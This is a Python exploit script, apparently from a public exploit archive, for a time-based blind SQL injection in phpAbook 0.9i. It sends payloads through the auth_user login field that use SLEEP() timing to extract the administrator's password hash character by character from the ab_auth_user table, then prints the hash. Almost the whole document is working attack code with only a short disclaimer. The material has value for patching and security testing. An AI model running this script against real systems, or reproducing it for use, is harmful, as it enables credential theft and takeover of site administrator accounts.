phpAbook 0.9i SQL Injection

`# Exploit Title: phpAbook 0.9i - SQL Injection  
# Date: 2021-06-29  
# Vendor Homepage: http://sourceforge.net/projects/phpabook/  
# Exploit Author: Said Cortes, Alejandro Perez  
# Version: v0.9i  
# This was written for educational purpose. Use it at your own risk.  
# Author will be not responsible for any damage.  
  
import requests  
import argparse  
import string  
import sys  
  
  
def exploit(session,host):  
print("Starting Exploit\nSearching Admin Hash...")  
passwordhash = ''  
for i in range(1,33):  
charset = string.digits + string.ascii_lowercase  
for letter in charset:  
burp0_url = f"{host}/index.php"  
burp0_data = {"auth_user": f"admin'-IF((SELECT MID(password,{i},1) from ab_auth_user where uid=1)='{letter}',SLEEP(3),0)#", "auth_passwd": "admin", "lang": "en", "submit": "Login"}  
try:  
session.post(burp0_url, data=burp0_data, timeout=1)  
except requests.Timeout:  
passwordhash += letter  
continue  
print("admin:"+passwordhash)  
  
  
  
  
if __name__ == "__main__" :  
session = requests.session()  
parser = argparse.ArgumentParser()  
parser.add_argument("-u","--url",help="host url \nex: http://127.0.0.1/phpabook",required=True)  
arg = parser.parse_args()  
exploit(session,arg.url)  
  
`